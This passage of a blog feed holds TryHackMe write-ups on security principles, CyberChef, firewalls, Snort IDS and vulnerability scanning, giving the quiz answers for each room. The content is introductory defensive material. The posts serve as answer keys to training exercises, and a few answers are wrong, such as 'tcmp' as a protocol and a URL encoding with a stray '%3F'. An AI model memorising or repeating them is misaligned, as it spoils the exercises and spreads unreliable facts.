&lt;li&gt;&lt;strong&gt;Domain Separation&lt;/strong&gt;: Every set of related components is grouped as a single entity or domain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Layering&lt;/strong&gt;: A system is structured into many abstract levels or layers, making it possible to impose security policies at different levels.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Encapsulation&lt;/strong&gt;: Hiding low-level implementations and preventing direct manipulation of data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redundancy&lt;/strong&gt;: This principle ensures availability and integrity.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Virtualization&lt;/strong&gt;: Sharing a single set of hardware among multiple operating systems, which provides sandboxing capabilities.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It also lists five &lt;strong&gt;design principles&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Least Privilege&lt;/strong&gt;: Should provide the least amount of permissions for someone to carry out their task and nothing more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attack Surface Minimisation&lt;/strong&gt;: Aim to minimize vulnerabilities that an attacker might use, for example, by disabling any service we don’t need.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Centralized Parameter Validation&lt;/strong&gt;: The validation of parameters should be centralized within one library or system.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Centralized General Security Services&lt;/strong&gt;: As a security principle, we should aim to centralize all security services.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Preparing for Error and Exception Handling&lt;/strong&gt;: Systems should be designed to fail safe, and error messages should not leak confidential information.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which principle are you applying when you turn off an insecure server that is not critical to the business?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;2 &lt;strong&gt;Attack Surface Minimisation&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Your company hired a new sales representative. Which principle are they applying when they tell you to give them access only to the company products and prices?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1 &lt;strong&gt;Least Privilege&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While reading the code of an ATM, you noticed a huge chunk of code to handle unexpected situations such as network disconnection and power failure. Which principle are they applying?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;5 &lt;strong&gt;Preparing for Error and Exception Handling&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Zero Trust versus Trust but Verify&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Trust but Verify&lt;/strong&gt; principle teaches that we should always verify an entity and its behavior, even when we trust it. Verifying requires setting up proper logging and using automated security mechanisms like intrusion detection systems.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Zero Trust&lt;/strong&gt; principle treats trust as a vulnerability and tries to eliminate it, teaching, “never trust, always verify.” Every entity is considered adversarial until proven otherwise, and it does not grant trust based on location or ownership. Authentication and authorization are required before accessing any resource. &lt;strong&gt;Microsegmentation&lt;/strong&gt;, where a network segment can be as small as a single host, is one of its implementations.&lt;/p&gt;
&lt;p&gt;Make sure you have read the above.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: Threat versus Risk&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt;: In information security, a vulnerability is a weakness.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threat&lt;/strong&gt;: A threat is a potential danger associated with this weakness or vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Risk&lt;/strong&gt;: The risk is concerned with the likelihood of a threat actor exploiting a vulnerability and the consequent impact on the business.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An example is given of a showroom with glass doors (vulnerability). There is a threat that the glass can be broken, and the owners must consider the risk, which is the likelihood of the glass breaking and the resulting impact on the business.&lt;/p&gt;
&lt;p&gt;Make sure you have read the above.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 9: Conclusion&lt;/h2&gt;
&lt;p&gt;Make sure you have taken notes of all the key terms and acronyms we covered in this room.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.Co6N4Wap.png"/><enclosure url="/_astro/image.Co6N4Wap.png"/></item><item><title>CyberChef: The Basics | TryHackMe Write-Up</title><link>https://farros.co/blog/cyberchef-the-basics-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/cyberchef-the-basics-tryhackme-write-up/</guid><description>This room is an introduction to CyberChef, the Swiss Army knife for cyber security professionals.</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/cyberchefbasics&quot;&gt;CyberChef: The Basics&lt;/a&gt;, this room is an introduction to CyberChef, the Swiss Army knife for cyber security professionals. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;CyberChef is a simple, intuitive web-based application designed to help with various “cyber” operation tasks within our web browser.&lt;/p&gt;
&lt;p&gt;Proceed with the next tasks to learn more!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Accessing the Tool&lt;/h2&gt;
&lt;p&gt;There are different ways to access and run CyberChef.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Online Access&lt;/li&gt;
&lt;li&gt;Offline or Local Copy&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://gchq.github.io/CyberChef/&quot;&gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I have access to CyberChef and I’m ready to dive into it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Navigating the Interface&lt;/h2&gt;
&lt;p&gt;CyberChef consists of four areas. Each consists of different components or features.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Operations&lt;/li&gt;
&lt;li&gt;Recipe&lt;/li&gt;
&lt;li&gt;Input&lt;/li&gt;
&lt;li&gt;Output&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In which area can you find &quot;From Base64&quot;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;operations&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which area is considered the heart of the tool?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Recipe&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Before Anything Else&lt;/h2&gt;
&lt;p&gt;The thought process when using CyberChef consists of four different steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Setting a clear objective&lt;/li&gt;
&lt;li&gt;Put your data into the input area&lt;/li&gt;
&lt;li&gt;Select the Operations you want to use&lt;/li&gt;
&lt;li&gt;Check the output to see if it is the intended result&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At which step would you determine, &quot;What do I want to accomplish?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Practice, Practice, Practice&lt;/h2&gt;
&lt;p&gt;This text explores commonly used operation categories: Extractors, Date / Time, and Data format.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Extractors&lt;/strong&gt;: This category includes operations to &lt;code&gt;Extract IP addresses&lt;/code&gt;, &lt;code&gt;Extract URLs&lt;/code&gt;, and &lt;code&gt;Extract email addresses&lt;/code&gt; from input.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Date / Time&lt;/strong&gt;: This category includes operations to convert &lt;code&gt;From UNIX Timestamp&lt;/code&gt; to a datetime string and &lt;code&gt;To UNIX Timestamp&lt;/code&gt; from a datetime string.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data Format&lt;/strong&gt;: This category includes base encodings like &lt;code&gt;From Base64&lt;/code&gt;, &lt;code&gt;From Base85&lt;/code&gt;, &lt;code&gt;From Base58&lt;/code&gt;, &lt;code&gt;To Base62&lt;/code&gt;, and the &lt;code&gt;URL Decode&lt;/code&gt; operation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What is the hidden email address?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;mailto:hidden@hotmail.com&quot;&gt;hidden@hotmail.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the hidden IP address that ends in .232?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;102.20.11.232&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which domain address starts with the letter &quot;T&quot;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TryHackMe.com&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To convert a decimal number to its binary equivalent, we can use the repeated division-by-2 method. We continuously divide the decimal number by 2 and record the remainder until the result is 0. The binary number is then formed by reading the remainders in reverse order (from bottom to top).&lt;/p&gt;
&lt;p&gt;Here’s the step-by-step conversion for the number 78:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;78&lt;/strong&gt; ÷ 2 = 39 with a remainder of &lt;strong&gt;0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;39&lt;/strong&gt; ÷ 2 = 19 with a remainder of &lt;strong&gt;1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;19&lt;/strong&gt; ÷ 2 = 9 with a remainder of &lt;strong&gt;1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;9&lt;/strong&gt; ÷ 2 = 4 with a remainder of &lt;strong&gt;1&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; ÷ 2 = 2 with a remainder of &lt;strong&gt;0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; ÷ 2 = 1 with a remainder of &lt;strong&gt;0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; ÷ 2 = 0 with a remainder of &lt;strong&gt;1&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Reading the remainders from the bottom up gives you &lt;strong&gt;1001110&lt;/strong&gt;. For 8-bit is &lt;strong&gt;01001110&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;What is the binary value of the decimal number 78?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;01001110&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.jz-pgTOx_1EjCwH.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the URL encoded value of &lt;a href=&quot;https://tryhackme.com/r/careers&quot;&gt;https://tryhackme.com/r/careers&lt;/a&gt;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;https%3A%2F%2Ftryhackme.com%2Fr%2Fcareers%3F&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Your First Official CookURL Decode&lt;/h2&gt;
&lt;p&gt;Using the file you downloaded in Task 5, which IP starts and ends with &quot;10&quot;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;10.10.2.10&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.HDwxgZk0_2uWkVp.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the base64 encoded value of the string &quot;Nice Room!&quot;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TmljZSBSb29tIQ==&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.Czl7tY4S_Z1Kh7rs.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the URL decoded value for https%3A%2F%2Ftryhackme%2Ecom%2Fr%2Froom%2Fcyberchefbasics?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/r/room/cyberchefbasics&quot;&gt;https://tryhackme.com/r/room/cyberchefbasics&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.BZ1BsTLR_1C9xxR.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the datetime string for the Unix timestamp 1725151258?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Sun 1 September 2024 00:40:58 UTC&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DItwz7Py_Z7y4Xw.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the Base85 decoded string of the value &amp;#x3C;+oue+DGm&gt;Ap%u7?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is fun!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Conclusion&lt;/h2&gt;
&lt;p&gt;I will have CyberChef, the Swiss Army knife of cyber security, ready for my upcoming journeys!&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.DCWjds-C.png"/><enclosure url="/_astro/image.DCWjds-C.png"/></item><item><title>Firewall Fundamentals | TryHackMe Write-Up</title><link>https://farros.co/blog/firewall-fundamentals-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/firewall-fundamentals-tryhackme-write-up/</guid><description>Learn about firewalls and get hands-on with Windows and Linux built-in firewalls.</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/firewallfundamentals&quot;&gt;Firewall Fundamentals&lt;/a&gt; (Premium Room), learn about firewalls and get hands-on with Windows and Linux built-in firewalls. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: What Is the Purpose of a Firewall&lt;/h2&gt;
&lt;p&gt;A firewall is designed to inspect a network&apos;s or digital device’s incoming and outgoing traffic.&lt;/p&gt;
&lt;h3&gt;Learning Objectives&lt;/h3&gt;
&lt;p&gt;After completing the room, you will have a basic understanding of the following areas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The types of firewalls&lt;/li&gt;
&lt;li&gt;The firewall rules and its components&lt;/li&gt;
&lt;li&gt;Hands-on Windows built-in firewall&lt;/li&gt;
&lt;li&gt;Hands-on Linux built-in firewall&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Room Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Networking Concepts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which security solution inspects the incoming and outgoing traffic of a device or a network?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Firewall&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Types of Firewalls&lt;/h2&gt;
&lt;p&gt;There are many different types of firewalls, and they work on different OSI model layers.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stateless Firewall&lt;/li&gt;
&lt;li&gt;Stateful Firewall&lt;/li&gt;
&lt;li&gt;Proxy Firewall&lt;/li&gt;
&lt;li&gt;Next-Generation Firewall (NGFW)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which type of firewall maintains the state of connections?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;stateful firewall&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which type of firewall offers heuristic analysis for the traffic?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Next-Generation Firewall&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which type of firewall inspects the traffic coming to an application?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Proxy firewalls&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: Rules in Firewalls&lt;/h2&gt;
&lt;p&gt;The basic components of a firewall’s rule are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Source address&lt;/li&gt;
&lt;li&gt;Destination address&lt;/li&gt;
&lt;li&gt;Port&lt;/li&gt;
&lt;li&gt;Protocol&lt;/li&gt;
&lt;li&gt;Action&lt;/li&gt;
&lt;li&gt;Direction&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Three main actions can be applied to a rule:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allow&lt;/li&gt;
&lt;li&gt;Deny&lt;/li&gt;
&lt;li&gt;Forward&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Firewalls have different categories of rules based on traffic directionality:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Inbound Rules&lt;/li&gt;
&lt;li&gt;Outbound Rules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which type of action should be defined in a rule to permit any traffic?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;allow&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the direction of the rule that is created for the traffic leaving our network?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;outbound&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Windows Defender Firewall&lt;/h2&gt;
&lt;p&gt;Windows Defender is a built-in firewall introduced by Microsoft in the Windows OS.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.D19umKsd_2pIv3T.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the name of the rule that was created to block all incoming traffic on the SSH port?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Core Op&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.Cm3ox2cY_Z1QYaKq.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;A rule was created to allow SSH from one single IP address. What is the rule name?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Infra team&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which IP address is allowed under this rule?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;192.168.13.7&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Linux iptables Firewall&lt;/h2&gt;
&lt;p&gt;Linux offers the functionality of a built-in firewall.&lt;/p&gt;
&lt;h3&gt;Netfilter&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Netfilter&lt;/strong&gt; is the framework inside the Linux OS with core firewall functionalities, including packet filtering, NAT, and connection tracking. Common firewall utilities that utilize this framework are &lt;code&gt;iptables&lt;/code&gt;, &lt;code&gt;nftables&lt;/code&gt;, and &lt;code&gt;firewalld&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;ufw (Uncomplicated Firewall)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ufw&lt;/code&gt;, as the name says, eliminates the complications of making rules in a complex syntax by giving you an easier interface. Some basic &lt;code&gt;ufw&lt;/code&gt; commands include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo ufw status&lt;/code&gt;: To check the status of the firewall.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo ufw enable&lt;/code&gt;: To enable the firewall.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo ufw deny 22/tcp&lt;/code&gt;: To deny incoming traffic on a specific port.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo ufw status numbered&lt;/code&gt;: To list all active rules in a numbered order.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo ufw delete &amp;#x3C;number&gt;&lt;/code&gt;: To delete a rule.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which Linux firewall utility is considered to be the successor of &quot;iptables&quot;?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;nftables&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What rule would you issue with ufw to deny all outgoing traffic from your machine as a default policy? (answer without sudo)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ufw default deny outgoing&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.BxsBTp1g.png"/><enclosure url="/_astro/image.BxsBTp1g.png"/></item><item><title>IDS Fundamentals | TryHackMe Write-Up</title><link>https://farros.co/blog/ids-fundamentals-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/ids-fundamentals-tryhackme-write-up/</guid><description>Learn the fundamentals of IDS, along with the experience of working with Snort.</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/idsfundamentals&quot;&gt;IDS Fundamentals&lt;/a&gt; (Premium Room), learn the fundamentals of IDS, along with the experience of working with Snort. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: What Is an IDS&lt;/h2&gt;
&lt;p&gt;If an attacker successfully bypasses a firewall and performs malicious activities inside the network, there should be something to detect it timely. This solution is known as an &lt;strong&gt;Intrusion Detection System (IDS)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Can an intrusion detection system (IDS) prevent the threat after it detects it? Yea/Nay&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nay&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Types of IDS&lt;/h2&gt;
&lt;p&gt;An IDS’s main categorization depends on its deployment and detection modes.&lt;/p&gt;
&lt;h3&gt;Deployment Modes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Host Intrusion Detection System (HIDS)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Intrusion Detection System (NIDS)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Detection Modes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Signature-Based IDS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Anomaly-Based IDS&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hybrid IDS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which type of IDS is deployed to detect threats throughout the network?
?Network Intrusion Detection System&lt;/p&gt;
&lt;p&gt;Which IDS leverages both signature-based and anomaly-based detection techniques?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hybrid IDS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: IDS Example: Snort&lt;/h2&gt;
&lt;p&gt;Snort is one of the most widely used open-source IDS solutions that uses signature-based and anomaly-based detections to identify known threats.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.DoAtlyyH_ZtnM4C.webp&quot; alt=&quot;credit: THM&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Modes of Snort&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Packet sniffer mode&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Packet logging mode&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network Intrusion Detection System mode&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which mode of Snort helps us to log the network traffic in a PCAP file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;packet logging mode&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the primary mode of Snort called?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Network Intrusion Detection System Mode&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: Snort Usage&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.nKi8tjZW_tTkeW.webp&quot; alt=&quot;credit: THM&quot;&gt;&lt;/p&gt;
&lt;h3&gt;Rule Format&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Action&lt;/strong&gt;: Specifies which action to take when the rule triggers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protocol&lt;/strong&gt;: Refers to the protocol that matches this rule.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Source/Destination IP &amp;#x26; Port&lt;/strong&gt;: Determines the origin and destination of the traffic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rule metadata&lt;/strong&gt;: Defined at the end of the rule in parentheses, including Message (msg), Signature ID (sid), and Rule revision (rev).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.C_Rv84j0_LudLD.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Where is the main directory of Snort that stores its files?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/etc/snort&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which field in the Snort rule indicates the revision number of the rule?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;rev&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Which protocol is defined in the sample rule created in the task?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;tcmp&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.B0xUpjnJ_1GXvc7.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the file name that contains custom rules for Snort?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;local.rules&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: Practical Lab&lt;/h2&gt;
&lt;p&gt;The task is to run Snort on this PCAP file. The PCAP file is placed in the &lt;code&gt;/etc/snort/&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.CbDxbSBO_1FBwtn.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What is the IP address of the machine that tried to connect to the subject machine using SSH?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;10.11.90.211&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-6.-Kd19y5z_Z1kiab7.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;What other rule message besides the SSH message is detected in the PCAP file?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ping Detected&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What is the sid of the rule that detects SSH?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1000002&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="/_astro/image.Bb2fulNl.png"/><enclosure url="/_astro/image.Bb2fulNl.png"/></item><item><title>Vulnerability Scanner Overview | TryHackMe Write-Up</title><link>https://farros.co/blog/vulnerability-scanner-overview-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/vulnerability-scanner-overview-tryhackme-write-up/</guid><description>Learn about vulnerability scanners and how they work in a practical scenario.</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here i want to share about my write-up for the room &lt;a href=&quot;https://tryhackme.com/room/idsfundamentals&quot;&gt;Vulnerability Scanner Overview&lt;/a&gt; (Premium Room), learn about vulnerability scanners and how they work in a practical scenario. I wrote this in 2025 and hope it is useful for learning about cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: What Are Vulnerabilities?&lt;/h2&gt;
&lt;p&gt;Vulnerabilities are weaknesses in software or hardware, similar to small holes in a roof. The process of fixing these vulnerabilities is known as &lt;strong&gt;Patching&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;What is the process of fixing the vulnerabilities called?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Patching&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: Vulnerability Scanning&lt;/h2&gt;
&lt;p&gt;The major categorizations of these scans are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Authenticated vs. Unauthenticated Scans&lt;/strong&gt;: Authenticated scans require the subject host&apos;s credentials and are more detailed. Unauthenticated scans are conducted without providing any credentials and help identify the threat surface from outside the host.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Internal vs. External Scans&lt;/strong&gt;: Internal scans are conducted from inside the network, while external scans are conducted from outside the network.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which type of vulnerability scans require the credentials of the target host?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;authenticated&lt;/p&gt;
&lt;/blockquote&gt;
